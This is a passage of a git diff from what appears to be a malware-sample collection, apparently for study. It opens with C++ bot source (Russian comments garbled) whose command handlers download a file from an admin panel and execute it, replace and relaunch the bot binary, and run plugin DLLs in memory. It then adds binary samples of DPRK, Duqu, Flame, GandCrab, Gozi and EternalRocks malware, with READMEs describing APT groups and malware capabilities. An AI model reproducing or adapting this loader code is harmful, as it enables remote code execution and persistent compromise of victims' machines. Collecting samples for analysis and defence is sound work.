�� ������ ����������+ p = cmds[i]->Len();+ else+ {+ cmd[p] = 0;+ p++;+ while( cmd[p] == ' ' ) p++; //������������ �������+ }+ StringBuilder cmdName( 0, p + 1, cmd );+ cmdName.Lower();+ uint nameHash = cmdName.Hash();+ int j = 0;+ while( commands[j].nameHash )+ {+ if( nameHash == commands[j].nameHash )+ {+ StringBuilder args;+ args = cmd + p;+ commands[j].func( cmdName, args);+ break;+ }+ j++;+ }+ }++ Mem::Free(data);+ return 0;+}++void ExecCmd_Download( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� download[%s](%s)", cmd.c_str(), args.c_str() );+ bool loaded = false;+ Mem::Data data;+ if( args.IndexOf(':') > 0 ) //������ ���+ loaded = AdminPanel::LoadFile( args, data );+ else+ loaded = AdminPanel::LoadPlugin( args, data );+ if( loaded )+ {+ DbgMsg("��� ������� download ���� ������� ��������");+ char folder[MAX_PATH], fileName[MAX_PATH];+ API(KERNEL32, GetTempPathA)( sizeof(folder), folder );+ API(KERNEL32, GetTempFileNameA)( folder, 0, 0, fileName );+ File::Write( fileName, data );+ DbgMsg("����������� ���� ��������� � '%s'", fileName );+ Process::Exec(fileName);+ }+}++void ExecCmd_Update( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� update[%s](%s)", cmd.c_str(), args.c_str() );+ Mem::Data data;+ if( AdminPanel::LoadPlugin( args, data ) )+ {+ Task::UnprotectBot();+ if( File::WriteAll( Config::fileNameBot, data.Ptr(), data.Len() ) )+ {+ Config::ReleaseMutex();+ Process::Exec( _CS_("%s -u"), Config::fileNameBot );+ API(KERNEL32, ExitProcess)(0);+ }+ else+ Task::ProtectBot();+ }+}++DWORD WINAPI RunDllThread( void* data )+{+ Mem::Data* data2 = (Mem::Data*)data;+ RunInMem::RunDll( data2->Ptr(), data2->Len() );+ delete data2;+ return 0;+}++void ExecCmd_RunDll( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� rundll[%s](%s)", cmd.c_str(), args.c_str() );+ Mem::Data* data = new Mem::Data();+ if( AdminPanel::LoadPlugin( args, *data ) )+ {+ RunThread( RunDllThread, data );+ }+}++}diff --git a/Malwares/Advanced Malware/DPRK/BackdoorDLLworm.bin b/Malwares/Advanced Malware/DPRK/BackdoorDLLworm.binnew file mode 100644index 0000000..49192a1Binary files /dev/null and b/Malwares/Advanced Malware/DPRK/BackdoorDLLworm.bin differdiff --git a/Malwares/Advanced Malware/DPRK/BackdoorHiddenCobra.bin b/Malwares/Advanced Malware/DPRK/BackdoorHiddenCobra.binnew file mode 100644index 0000000..f1661baBinary files /dev/null and b/Malwares/Advanced Malware/DPRK/BackdoorHiddenCobra.bin differdiff --git a/Malwares/Advanced Malware/DPRK/HiddenCobraJoanap.bin b/Malwares/Advanced Malware/DPRK/HiddenCobraJoanap.binnew file mode 100644index 0000000..d5f0871Binary files /dev/null and b/Malwares/Advanced Malware/DPRK/HiddenCobraJoanap.bin differdiff --git a/Malwares/Advanced Malware/DPRK/MoneroNorthKoreaPyongynag.bin b/Malwares/Advanced Malware/DPRK/MoneroNorthKoreaPyongynag.binnew file mode 100644index 0000000..c7ac423Binary files /dev/null and b/Malwares/Advanced Malware/DPRK/MoneroNorthKoreaPyongynag.bin differdiff --git a/Malwares/Advanced Malware/DPRK/README.md b/Malwares/Advanced Malware/DPRK/README.mdnew file mode 100644index 0000000..8510914--- /dev/null+++ b/Malwares/Advanced Malware/DPRK/README.md@@ -0,0 +1,3 @@+# Malware used by North Korea (Democratic People's Republic of Korea) DPRK++diff --git a/Malwares/Advanced Malware/DPRK/RedDawnSunTeamAndroid.apk b/Malwares/Advanced Malware/DPRK/RedDawnSunTeamAndroid.apknew file mode 100644index 0000000..867efb4Binary files /dev/null and b/Malwares/Advanced Malware/DPRK/RedDawnSunTeamAndroid.apk differdiff --git a/Malwares/Advanced Malware/DPRK/SunTeamAndroid.apk b/Malwares/Advanced Malware/DPRK/SunTeamAndroid.apknew file mode 100644index 0000000..e0fe8bcBinary files /dev/null and b/Malwares/Advanced Malware/DPRK/SunTeamAndroid.apk differdiff --git a/Malwares/Advanced Malware/DPRK/SunTeamRedDawn.apk b/Malwares/Advanced Malware/DPRK/SunTeamRedDawn.apknew file mode 100644index 0000000..5e10139Binary files /dev/null and b/Malwares/Advanced Malware/DPRK/SunTeamRedDawn.apk differdiff --git a/Malwares/Advanced Malware/DragonflyAPT/GreyEnergyImplant2018.bin b/Malwares/Advanced Malware/DragonflyAPT/GreyEnergyImplant2018.binnew file mode 100644index 0000000..71b2abfBinary files /dev/null and b/Malwares/Advanced Malware/DragonflyAPT/GreyEnergyImplant2018.bin differdiff --git a/Malwares/Advanced Malware/DragonflyAPT/README.md b/Malwares/Advanced Malware/DragonflyAPT/README.mdnew file mode 100644index 0000000..b6b112f--- /dev/null+++ b/Malwares/Advanced Malware/DragonflyAPT/README.md@@ -0,0 +1,11 @@+## Dragonfly, Dragonfly 2.0, (DYMALLOY, Energetic Bear, Havex, IRON LIBERTY, Koala, or TeamSpy)++++Russian cyber espionage group, sometimes known as an advanced persistent threat. According to the United States, the group is composed of "FSB hackers," either those directly employed by the FSB or Russian civilian, criminal hackers coerced into contracting as FSB hackers while still freelancing or moonlighting as criminal hackers. Four accused Berserk Bear participants, three FSB staff and one civilian, have been indicted in the United States and are regarded by the United States Department of Justice as fugitives.+Berserk Bear specializes in compromising utilities infrastructure, especially that belonging to companies responsible for water or energy distribution.It has performed these activities in at least Germany and the U.S. These operations are targeted towards surveillance and technical reconnaissance.++Berserk Bear has also targeted many state, local, and tribal government and aviation networks in the U.S., and as of October 1, 2020, had exfiltrated data from at least two victim servers. In particular, Berserk Bear is believed to have infiltrated the computer network of the city of Austin, Texas, during 2020.++The group is capable of producing its own advanced malware, although it sometimes seeks to mimic other hacking groups and conceal its activities.+diff --git a/Malwares/Advanced Malware/DragonflyAPT/dragonfly-2-0.webp b/Malwares/Advanced Malware/DragonflyAPT/dragonfly-2-0.webpnew file mode 100644index 0000000..3ae892dBinary files /dev/null and b/Malwares/Advanced Malware/DragonflyAPT/dragonfly-2-0.webp differdiff --git a/Malwares/Advanced Malware/Duqu/README.md b/Malwares/Advanced Malware/Duqu/README.mdnew file mode 100644index 0000000..9227255--- /dev/null+++ b/Malwares/Advanced Malware/Duqu/README.md@@ -0,0 +1,18 @@+## Duqu 2.0+Powerful strain of the notorious Duqu malware appeared in the wild after going dark in 2012.+Duqu 2.0 was the malicious agent used against the security firm and many other targets worldwide.+Described by security researchers as highly sophisticated malware that exploited a number of zero-days vulnerabilities, which are listed below:++ CVE-2015-2360;+ CVE-2014-4148;+ CVE-2014-6324;++Malware researchers at Kaspersky that first detected it revealed that among its targets there were entities linked to the negotiations about Iran’s nuclear deal and IT security firms. Duqu 2.0 targeted a number of Western organizations and entities operating Asia and in the Middle East.++### victims of Duqu 2.0++Duqu 2.0 has been used to attack a complex range of targets at the highest levels with similarly varied geo-political interests. Victims have been found in Western countries, as well as in countries in the Middle East and Asia. Duqu is on the lookout for data that could be used in a cyber-attack on industrial control systems. The known components are attempting to gather information, not to be damaging. However, due to Duqu's modular nature, a specific payload might be used to attack any type of computer system by any method, potentially allowing for cyber-physical attacks.++However, its use on personal computer systems has been discovered to destroy all recent information input on the system and the entire hard disk in some situations. Symantec has examined Duqu's internal communications, but the specific technique by which it replicates inside an infected network is unknown.+Duqu 2.0 Targeted Attacks. Duqu 2.0 makes use of advanced evasive strategies. It is difficult to detect because it is stored in memory. Duqu's updated version no longer writes data to the victim's hard drive. According to Symantec experts, Duqu 2.0 has two variants: one is a backdoor that appears to be used to gain persistence in the targeted entity by infecting multiple computers, and the second variant reflects its development and has more advanced capabilities.+diff --git a/Malwares/Advanced Malware/Duqu/VirusShare_03bb47f461c51203d6799919dbb37012.zip b/Malwares/Advanced Malware/Duqu/VirusShare_03bb47f461c51203d6799919dbb37012.zipnew file mode 100644index 0000000..12592c5Binary files /dev/null and b/Malwares/Advanced Malware/Duqu/VirusShare_03bb47f461c51203d6799919dbb37012.zip differdiff --git a/Malwares/Advanced Malware/Duqu/VirusShare_15972bdf667c595e9cba11842a6d905e.zip b/Malwares/Advanced Malware/Duqu/VirusShare_15972bdf667c595e9cba11842a6d905e.zipnew file mode 100644index 0000000..fa38cfaBinary files /dev/null and b/Malwares/Advanced Malware/Duqu/VirusShare_15972bdf667c595e9cba11842a6d905e.zip differdiff --git a/Malwares/Advanced Malware/Duqu/VirusShare_1c35a13a0da0ea687100a7b273f9a5af.zip b/Malwares/Advanced Malware/Duqu/VirusShare_1c35a13a0da0ea687100a7b273f9a5af.zipnew file mode 100644index 0000000..80b073eBinary files /dev/null and b/Malwares/Advanced Malware/Duqu/VirusShare_1c35a13a0da0ea687100a7b273f9a5af.zip differdiff --git a/Malwares/Advanced Malware/Duqu/VirusShare_745f96875b4ab8fb73c14b094e9c74f0.zip b/Malwares/Advanced Malware/Duqu/VirusShare_745f96875b4ab8fb73c14b094e9c74f0.zipnew file mode 100644index 0000000..b283e93Binary files /dev/null and b/Malwares/Advanced Malware/Duqu/VirusShare_745f96875b4ab8fb73c14b094e9c74f0.zip differdiff --git a/Malwares/Advanced Malware/Duqu/VirusShare_e64d31ef596e86997ca0fffcfb3d1ce8.zip b/Malwares/Advanced Malware/Duqu/VirusShare_e64d31ef596e86997ca0fffcfb3d1ce8.zipnew file mode 100644index 0000000..5449e8eBinary files /dev/null and b/Malwares/Advanced Malware/Duqu/VirusShare_e64d31ef596e86997ca0fffcfb3d1ce8.zip differdiff --git a/Malwares/Advanced Malware/Duqu/VirusShare_f15b86eaf846fc7e9a074caf0ee78b63.zip b/Malwares/Advanced Malware/Duqu/VirusShare_f15b86eaf846fc7e9a074caf0ee78b63.zipnew file mode 100644index 0000000..974f65fBinary files /dev/null and b/Malwares/Advanced Malware/Duqu/VirusShare_f15b86eaf846fc7e9a074caf0ee78b63.zip differdiff --git a/Malwares/Advanced Malware/DustSquad/DustSquadInformation.txt b/Malwares/Advanced Malware/DustSquad/DustSquadInformation.txtnew file mode 100644index 0000000..6bf0afe--- /dev/null+++ b/Malwares/Advanced Malware/DustSquad/DustSquadInformation.txt@@ -0,0 +1 @@+https://securelist.com/octopus-infested-seas-of-central-asia/88200/diff --git a/Malwares/Advanced Malware/DustSquad/OctopusTelegramMessengerDropper.bin b/Malwares/Advanced Malware/DustSquad/OctopusTelegramMessengerDropper.binnew file mode 100644index 0000000..5b6119dBinary files /dev/null and b/Malwares/Advanced Malware/DustSquad/OctopusTelegramMessengerDropper.bin differdiff --git a/Malwares/Advanced Malware/DustSquad/README.md b/Malwares/Advanced Malware/DustSquad/README.mdnew file mode 100644index 0000000..84dcfd9--- /dev/null+++ b/Malwares/Advanced Malware/DustSquad/README.md@@ -0,0 +1,6 @@+# DustSquad+ “For the last two years we have been monitoring a Russian-language cyberespionage actor that focuses on Central Asian users and diplomatic entities.+ We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns+ involving custom Android and Windows malware.”++ states the analysis published by Kaspersky Lab.diff --git a/Malwares/Advanced Malware/EnergeticBear/BerserkBear Downloader.bin b/Malwares/Advanced Malware/EnergeticBear/BerserkBear Downloader.binnew file mode 100644index 0000000..4659da7Binary files /dev/null and b/Malwares/Advanced Malware/EnergeticBear/BerserkBear Downloader.bin differdiff --git a/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant b/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implantnew file mode 100644index 0000000..5cfb2f5Binary files /dev/null and b/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant differdiff --git a/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant_id=fm&fchmod=$dir$file b/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant_id=fm&fchmod=$dir$filenew file mode 100644index 0000000..5cfb2f5Binary files /dev/null and b/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant_id=fm&fchmod=$dir$file differdiff --git a/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant_page=filemanager&id=fm&fchmod=$dir$file b/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant_page=filemanager&id=fm&fchmod=$dir$filenew file mode 100644index 0000000..5cfb2f5Binary files /dev/null and b/Malwares/Advanced Malware/EnergeticBear/Energetic Bear Implant_page=filemanager&id=fm&fchmod=$dir$file differdiff --git a/Malwares/Advanced Malware/EnergeticBear/README.md b/Malwares/Advanced Malware/EnergeticBear/README.mdnew file mode 100644index 0000000..0f2a999--- /dev/null+++ b/Malwares/Advanced Malware/EnergeticBear/README.md@@ -0,0 +1,10 @@+## Berserk Bear (aka Crouching Yeti, Dragonfly, Dragonfly 2.0, DYMALLOY, Energetic Bear, Havex, IRON LIBERTY, Koala, or TeamSpy)++++Russian cyber espionage group, sometimes known as an advanced persistent threat. According to the United States, the group is composed of "FSB hackers," either those directly employed by the FSB or Russian civilian, criminal hackers coerced into contracting as FSB hackers while still freelancing or moonlighting as criminal hackers. Four accused Berserk Bear participants, three FSB staff and one civilian, have been indicted in the United States and are regarded by the United States Department of Justice as fugitives.+Berserk Bear specializes in compromising utilities infrastructure, especially that belonging to companies responsible for water or energy distribution.It has performed these activities in at least Germany and the U.S. These operations are targeted towards surveillance and technical reconnaissance.++Berserk Bear has also targeted many state, local, and tribal government and aviation networks in the U.S., and as of October 1, 2020, had exfiltrated data from at least two victim servers. In particular, Berserk Bear is believed to have infiltrated the computer network of the city of Austin, Texas, during 2020.++The group is capable of producing its own advanced malware, although it sometimes seeks to mimic other hacking groups and conceal its activities.diff --git a/Malwares/Advanced Malware/EnergeticBear/energeticbear.jpg b/Malwares/Advanced Malware/EnergeticBear/energeticbear.jpgnew file mode 100644index 0000000..a46adbaBinary files /dev/null and b/Malwares/Advanced Malware/EnergeticBear/energeticbear.jpg differdiff --git a/Malwares/Advanced Malware/EquationGroup/DoubleFantasyEquation.bin b/Malwares/Advanced Malware/EquationGroup/DoubleFantasyEquation.binnew file mode 100644index 0000000..d7c7cf1Binary files /dev/null and b/Malwares/Advanced Malware/EquationGroup/DoubleFantasyEquation.bin differdiff --git a/Malwares/Advanced Malware/EquationGroup/Fannybmp.7z b/Malwares/Advanced Malware/EquationGroup/Fannybmp.7znew file mode 100644index 0000000..efe080bBinary files /dev/null and b/Malwares/Advanced Malware/EquationGroup/Fannybmp.7z differdiff --git a/Malwares/Advanced Malware/EquationGroup/README.md b/Malwares/Advanced Malware/EquationGroup/README.mdnew file mode 100644index 0000000..c6303f5--- /dev/null+++ b/Malwares/Advanced Malware/EquationGroup/README.md@@ -0,0 +1,12 @@+# Equation Group: The USA's Deadly Army of Hackers+ Classified as an advanced persistent threat🥶+ a highly sophisticated threat actor suspected of being tied to the Tailored Access Operations(TOC) unit of the+ United States National Security Agency (NSA)+ The name originated from the group's extensive use of encryption.+ By 2015, Kaspersky documented 500 malware infections by the group in at least 42 countries 🥵+ while acknowledging that the actual number could be in the tens of thousands due to its self-terminating protocol😵++Kaspersky Labs describes it as one of the most sophisticated cyber attack groups in the world and "the most advanced we have seen", operating alongside the creators of Stuxnet and Flame. Most of their targets have been in;++ Iran, Russia, Pakistan, Afghanistan, India, Syria, and Mali 🧐+A hacking group calling itself "The Shadow Brokers" announced that it had stolen malware code from the Equation Group. Kaspersky Lab noticed similarities between the stolen code and earlier known code from the Equation Group malware samples it had in its possession including quirks unique to the Equation Group's way of implementing the RC6 encryption algorithm, and therefore concluded that this announcement is legitimate.diff --git a/Malwares/Advanced Malware/EternalRocks/EternalPulsar.png b/Malwares/Advanced Malware/EternalRocks/EternalPulsar.pngnew file mode 100644index 0000000..779dacfBinary files /dev/null and b/Malwares/Advanced Malware/EternalRocks/EternalPulsar.png differdiff --git a/Malwares/Advanced Malware/EternalRocks/README.md b/Malwares/Advanced Malware/EternalRocks/README.mdnew file mode 100644index 0000000..6e6c933--- /dev/null+++ b/Malwares/Advanced Malware/EternalRocks/README.md@@ -0,0 +1,28 @@+## Eternalrocks+EternalRocks (DOOMSday malware), that uses seven exploits first discovered by the National Security Agency and leaked in April 2017 by the Shadow Brokers group. Experts described the malware as a "doomsday" worm that could strike suddenly.++++Earlier this month, the WannaCry ransomware plagued hospitals, schools and offices around the world and spread to more than 300,000 computers. It uses two NSA exploits that were leaked by the Shadow Brokers, EternalBlue and DoublePulsar. A few days later, researchers found Adylkuzz, new malware that spread using those same exploits and created botnets to mine for cryptocurrency.++Now, there's EternalRocks. Miroslav Stampar, a cybersecurity expert for Croatia's CERT, first discovered the hodgepodge of hacks. The earliest findings of EternalRocks goes all the way back to May 3 2016, he wrote in a description on GitHub.++EternalRocks uses EternalBlue, DoublePulsar, EternalChampion, EternalRomance, EternalSynergy, ArchiTouch and SMBTouch -- all tools leaked by the Shadow Brokers. Stampar said he found the packed hack after it infected his honeypot, a trap set to monitor incoming malware.++++The majority of the tools exploit vulnerabilities with standard file sharing technology used by PCs called Microsoft Windows Server Message Block, which is how WannaCry spread so quickly without being noticed. Microsoft patched these vulnerabilities in March, but many outdated computers remain at risk.++Unlike WannaCry, which alerts victims they've been infected through ransomware, EternalRocks remains hidden and quiet on computers. Once in a computer, it downloads Tor's private browser and sends a signal to the worm's hidden servers.++Then, it waits. For 24 hours, EternalRocks does nothing. But after a day, the server responds and starts downloading and self-replicating. That means security experts who want to get more information and study the malware will be delayed by a day.++++"By delaying the communications the bad actors are attempting to be more stealthy," Michael Patterson, CEO of security firm Plixer, said in an emailed statement. "The race to detect and stop all malware was lost years ago."++It even names itself WannaCry in an attempt to hide from security researchers, Stampar said. Like variants of WannaCry, EternalRocks also doesn't have a kill-switch, so it can't be as easily blocked off.++For now, EternalRocks remains dormant as it continues to spread and infect more computers. Stampar warns the worm can be weaponized at any time, the same way that WannaCry's ransomware struck all at once after it had already infected thousands of computers.++Because of its stealthy nature, it's unclear how many computers EternalRocks has infected. It's also unclear what EternalRocks will be weaponized into. Plixer said the worm could be immediately turned into more ransomware or trojan attacks for banking.diff --git a/Malwares/Advanced Malware/EternalRocks/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30.zip b/Malwares/Advanced Malware/EternalRocks/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30.zipnew file mode 100644index 0000000..8a61b9dBinary files /dev/null and b/Malwares/Advanced Malware/EternalRocks/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30.zip differdiff --git a/Malwares/Advanced Malware/EternalRocks/eternalrocks.webp b/Malwares/Advanced Malware/EternalRocks/eternalrocks.webpnew file mode 100644index 0000000..83f8c50Binary files /dev/null and b/Malwares/Advanced Malware/EternalRocks/eternalrocks.webp differdiff --git a/Malwares/Advanced Malware/EternalRocks/eternalrocks7exploits.jpg b/Malwares/Advanced Malware/EternalRocks/eternalrocks7exploits.jpgnew file mode 100644index 0000000..405c9c1Binary files /dev/null and b/Malwares/Advanced Malware/EternalRocks/eternalrocks7exploits.jpg differdiff --git a/Malwares/Advanced Malware/Flame/Flame-Infection-Map_Kaspersky.webp b/Malwares/Advanced Malware/Flame/Flame-Infection-Map_Kaspersky.webpnew file mode 100644index 0000000..8909ae1Binary files /dev/null and b/Malwares/Advanced Malware/Flame/Flame-Infection-Map_Kaspersky.webp differdiff --git a/Malwares/Advanced Malware/Flame/README.md b/Malwares/Advanced Malware/Flame/README.mdnew file mode 100644index 0000000..25b9b15--- /dev/null+++ b/Malwares/Advanced Malware/Flame/README.md@@ -0,0 +1,18 @@+# Flame Group malware+ Flame, also known as Flamer, sKyWIper, and Skywiper;+ a modular computer malware discovered in 2012 that attacks computers running the Microsoft Windows operating system.+ The program is used for targeted cyber espionage in Middle Eastern countries++<img src="Flame-Infection-Map_Kaspersky.webp" height="500" width="1750" >++Flame is an uncharacteristically large program for malware at 20 megabytes. It is written partly in the Lua scripting language with compiled C++ code linked in, and allows other attack modules to be loaded after initial infection. The malware uses five different encryption methods and an SQLite database to store structured information. The method used to inject code into various processes is stealthy, in that the malware modules do not appear in a listing of the modules loaded into a process and malware memory pages are protected with READ, WRITE and EXECUTE permissions that make them inaccessible by user-mode applications. The internal code has few similarities with other malware, but exploits two of the same security vulnerabilities used previously by Stuxnet to infect systems.++<img src="flamefire.jpg" height="500" width="1750" >+Like the previously known cyber weapons Stuxnet and Duqu, it is employed in a targeted manner and can evade current security software through rootkit functionality. Once a system is infected, Flame can spread to other systems over a local network or via USB stick. It can record audio, screenshots, keyboard activity and network traffic. The program also records Skype conversations and can turn infected computers into Bluetooth beacons which attempt to download contact information from nearby Bluetooth enabled devices. This data, along with locally stored documents, is sent on to one of several command and control servers that are scattered around the world. The program then awaits further instructions from these servers.++ Unlike Stuxnet, which was designed to sabotage an industrial process,+ Flame appears to have been written purely for espionage.+ It does not appear to target a particular industry, but rather is+ "a complete attack toolkit designed for general cyber-espionage purposes"++<img src="flame.png" height="500" width="1750" >diff --git a/Malwares/Advanced Malware/Flame/VirusShare_089d45e4c3bb60388211aa669deab26a.zip b/Malwares/Advanced Malware/Flame/VirusShare_089d45e4c3bb60388211aa669deab26a.zipnew file mode 100644index 0000000..68d9050Binary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_089d45e4c3bb60388211aa669deab26a.zip differdiff --git a/Malwares/Advanced Malware/Flame/VirusShare_56e4fb972828fafbbdc11158a1b5fa72.zip b/Malwares/Advanced Malware/Flame/VirusShare_56e4fb972828fafbbdc11158a1b5fa72.zipnew file mode 100644index 0000000..705d0b8Binary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_56e4fb972828fafbbdc11158a1b5fa72.zip differdiff --git a/Malwares/Advanced Malware/Flame/VirusShare_695056ffacef1fdaa326d7c8bb0f88ba.zip b/Malwares/Advanced Malware/Flame/VirusShare_695056ffacef1fdaa326d7c8bb0f88ba.zipnew file mode 100644index 0000000..3413bf0Binary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_695056ffacef1fdaa326d7c8bb0f88ba.zip differdiff --git a/Malwares/Advanced Malware/Flame/VirusShare_8d90e3c68030fbb91ad5b920d5e17b32.zip b/Malwares/Advanced Malware/Flame/VirusShare_8d90e3c68030fbb91ad5b920d5e17b32.zipnew file mode 100644index 0000000..59df553Binary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_8d90e3c68030fbb91ad5b920d5e17b32.zip differdiff --git a/Malwares/Advanced Malware/Flame/VirusShare_af34546979079042a99b99b5613ad26b.zip b/Malwares/Advanced Malware/Flame/VirusShare_af34546979079042a99b99b5613ad26b.zipnew file mode 100644index 0000000..0f03ae3Binary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_af34546979079042a99b99b5613ad26b.zip differdiff --git a/Malwares/Advanced Malware/Flame/VirusShare_e5f19ea43397103470b60a750149b753.zip b/Malwares/Advanced Malware/Flame/VirusShare_e5f19ea43397103470b60a750149b753.zipnew file mode 100644index 0000000..27977dfBinary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_e5f19ea43397103470b60a750149b753.zip differdiff --git a/Malwares/Advanced Malware/Flame/VirusShare_f923ae31c3bb49f3b4b04d48f564a1ec.zip b/Malwares/Advanced Malware/Flame/VirusShare_f923ae31c3bb49f3b4b04d48f564a1ec.zipnew file mode 100644index 0000000..f6240f9Binary files /dev/null and b/Malwares/Advanced Malware/Flame/VirusShare_f923ae31c3bb49f3b4b04d48f564a1ec.zip differdiff --git a/Malwares/Advanced Malware/Flame/flame.png b/Malwares/Advanced Malware/Flame/flame.pngnew file mode 100644index 0000000..ecc4b6aBinary files /dev/null and b/Malwares/Advanced Malware/Flame/flame.png differdiff --git a/Malwares/Advanced Malware/Flame/flamefire.jpg b/Malwares/Advanced Malware/Flame/flamefire.jpgnew file mode 100644index 0000000..407dbaeBinary files /dev/null and b/Malwares/Advanced Malware/Flame/flamefire.jpg differdiff --git a/Malwares/Advanced Malware/GamaredonGroup/928aa3d3e26e9e285ccaf0b0132b92d2711de3a9f5d58244934854d02a529f70 b/Malwares/Advanced Malware/GamaredonGroup/928aa3d3e26e9e285ccaf0b0132b92d2711de3a9f5d58244934854d02a529f70new file mode 100644index 0000000..e90e11fBinary files /dev/null and b/Malwares/Advanced Malware/GamaredonGroup/928aa3d3e26e9e285ccaf0b0132b92d2711de3a9f5d58244934854d02a529f70 differdiff --git a/Malwares/Advanced Malware/GamaredonGroup/9fc5081ba3c1a4473ac1ffa3d653096afa16684a3e819ce6745bc22d38bb97f9 b/Malwares/Advanced Malware/GamaredonGroup/9fc5081ba3c1a4473ac1ffa3d653096afa16684a3e819ce6745bc22d38bb97f9new file mode 100644index 0000000..0d6d803Binary files /dev/null and b/Malwares/Advanced Malware/GamaredonGroup/9fc5081ba3c1a4473ac1ffa3d653096afa16684a3e819ce6745bc22d38bb97f9 differdiff --git a/Malwares/Advanced Malware/GamaredonGroup/GamaredonImplant.bin b/Malwares/Advanced Malware/GamaredonGroup/GamaredonImplant.binnew file mode 100644index 0000000..486ed40Binary files /dev/null and b/Malwares/Advanced Malware/GamaredonGroup/GamaredonImplant.bin differdiff --git a/Malwares/Advanced Malware/GamaredonGroup/README.md b/Malwares/Advanced Malware/GamaredonGroup/README.mdnew file mode 100644index 0000000..8667706--- /dev/null+++ b/Malwares/Advanced Malware/GamaredonGroup/README.md@@ -0,0 +1,5 @@+# Gamaredon Group+Gamaredon, also known as Primitive Bear and Actinium (by Microsoft) is a Russian advanced persistent threat that has been active since at least 2013. Cyber espionage appears to be the main goal of the group; unlike most APTs, Gamaredon broadly targets all users all over the globe (in addition to also focusing on certain victims, especially Ukrainian organizations) and appears to provide services for other APTs. For example, the InvisiMole threat group has attacked select systems that Gamaredon had earlier compromised and fingerprinted.The group frequently uses spear phishing techniques with malicious code attachments that download remote templates containing malware.++Malware used by the group includes Pterodo, PowerPunch, ObfuMerry, ObfuBerry, DilongTrash, DinoTrain, and DesertDown.+On 19 January 2022, they attempted to compromise a Western government entity in Ukrainediff --git a/Malwares/Advanced Malware/GamaredonGroup/ff5ce90c78eb4d6c2714bd659fb6fbbb9afc50d03a16d32015ff350d79f6fec4 b/Malwares/Advanced Malware/GamaredonGroup/ff5ce90c78eb4d6c2714bd659fb6fbbb9afc50d03a16d32015ff350d79f6fec4new file mode 100644index 0000000..6fb7b9bBinary files /dev/null and b/Malwares/Advanced Malware/GamaredonGroup/ff5ce90c78eb4d6c2714bd659fb6fbbb9afc50d03a16d32015ff350d79f6fec4 differdiff --git a/Malwares/Advanced Malware/GandCrab/GandCrabv5RandomExtension.bin b/Malwares/Advanced Malware/GandCrab/GandCrabv5RandomExtension.binnew file mode 100644index 0000000..3bb3f61Binary files /dev/null and b/Malwares/Advanced Malware/GandCrab/GandCrabv5RandomExtension.bin differdiff --git a/Malwares/Advanced Malware/GandCrab/Gandcrab5.0.2.bin b/Malwares/Advanced Malware/GandCrab/Gandcrab5.0.2.binnew file mode 100644index 0000000..eaabf2bBinary files /dev/null and b/Malwares/Advanced Malware/GandCrab/Gandcrab5.0.2.bin differdiff --git a/Malwares/Advanced Malware/GandCrab/Gandcrabv5.0.2exe.bin b/Malwares/Advanced Malware/GandCrab/Gandcrabv5.0.2exe.binnew file mode 100644index 0000000..c72b4e7Binary files /dev/null and b/Malwares/Advanced Malware/GandCrab/Gandcrabv5.0.2exe.bin differdiff --git a/Malwares/Advanced Malware/GandCrab/README.md b/Malwares/Advanced Malware/GandCrab/README.mdnew file mode 100644index 0000000..f8fb39c--- /dev/null+++ b/Malwares/Advanced Malware/GandCrab/README.md@@ -0,0 +1,7 @@+# GandCrab+ For most of its short but destructive run,+ GandCrab typically spread from one computer to the next via something known as an exploit kit.+ Exploits are a form of cyberattack that takes advantage of weaknesses or vulnerabilities+ on a target system in order to gain unauthorized access to that system.++GandCrab is Malwarebytes' detection name for a family of ransomware that encrypts important files and asks for a ransom to decrypt them. There are several versions of Ransom. GandCrab as the threat actors keep working on it. They all target Windows systems.diff --git a/Malwares/Advanced Malware/GoziGroup/README.md b/Malwares/Advanced Malware/GoziGroup/README.mdnew file mode 100644index 0000000..7b5de21--- /dev/null+++ b/Malwares/Advanced Malware/GoziGroup/README.md@@ -0,0 +1,19 @@+# Gozi Malware Family+### Also known as RM3, ISFB, Ursnif, Dreambot, CRM, Paprak and Snifula,+Gozi can be considered as a group of malware families which are based on the same malicious codebase. Historically, it has been known as one of the most widely spread and longest-standing Banking Trojans with more than 14 years of activity. Its unique modular architecture facilitates multiple Threat Actors (TAs) in carrying on with their own malicious purposes, which in most cases are included in the following categories:++ - Banking fraud+ - eCommerce fraud+ - POS devices compromise+ - Ransomware++Since its code was leaked in 2015, tracking all the different variants appears to be knotty and time consuming due to its fragmentation and the several distinct names used by security firms and researchers.The main functionalities of Gozi families, and derivatives, include:++ * Acting as info-stealer by collecting system activities and data (including network and browser data)+ * Recording keystrokes (keylogging)+ * Recording videos or making screenshots+ * Performing MitB (Man in the browser) attacks on the targeted websites (e.g., Formgrabbing, Web-injects)+ * Redirect browser navigation to malicious websites+ * Enabling hVNC (hidden-VNC) and SOCKS proxy++Focusing on the Banking fraud category, during the last 2 years we were able to analyze in-depth a specific TA (or a group of affiliates) which distributes Gozi infections on EU territory to corporate banks and their customers. During our analysis, we were able to extract multiple TTPs on how this specific TA leverages Gozi to execute unauthorized transactions to a well-organized network of bank mule accounts controlled by the same group.diff --git a/Malwares/Advanced Malware/GoziGroup/vCfjTmdR.exe_.exe b/Malwares/Advanced Malware/GoziGroup/vCfjTmdR.exe_.exenew file mode 100644index 0000000..211a060Binary files /dev/null and b/Malwares/Advanced Malware/GoziGroup/vCfjTmdR.exe_.exe differdiff --git a/Malwares/Advanced Malware/Kenyatta 